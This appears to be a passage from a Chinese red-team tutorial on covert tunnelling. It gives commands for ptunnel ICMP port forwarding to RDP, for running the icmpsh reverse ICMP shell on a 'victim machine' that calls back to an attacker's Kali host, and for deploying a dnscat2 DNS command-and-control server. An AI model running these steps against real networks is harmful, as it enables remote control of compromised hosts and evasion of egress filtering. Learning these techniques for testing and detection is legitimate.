0x05 ICMP隧道
注意:在搭建ICMP隧道的时候切记把自身的icmp关闭
(sysctl -w net.ipv4.icmp_echo_ignore_all=1
)
ptunnel
ptunnel,全称“Ping Tunnel”,利用ICMP协议构建通信隧道,实现端到端通信。
网络环境拓扑:
B、C上需要装ptunnel工具,因为这里A只能ping通B,所以让B作为server,即ICMP跳板机
注意:由于通过ICMP协议建立隧道,为了让隧道服务端能够处理收到的ICMP报文,需要禁用系统本身的ICMP响应机制,防止内核响应ping数据包本身。这里先关闭B的ICMP响应机制,否则会出现[err]: Dropping duplicate proxy session request.
报错。
在B上运行命令ptunnel
在C上运行命令
ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130 -dp 3389
-p 指定跳板机的IP
-lp 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口
此时ICMP隧道就已经打通了,最后在D上访问C的8888端口就相当于访问A的3389端口了
mstsc /v:192.168.137.129:8888
当然这里也可以让B既作为跳板机,又作为代理服务器
icmpsh
icmpsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可运行到目标计算机上。
网络环境拓扑:
首先在kali上下载icmpsh并关闭自身的icmp
./icmpsh-m.py <source IP address> <destination IP address>
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132
在受害机上运行以下命令
icmpsh.exe -t 192.168.137.129
返回kali查看shell
0x06 DNS隧道
dnscat2
内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。
初始化dnscat2服务端
Server部署
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
ruby ./dnscat2.rb # 启动服务端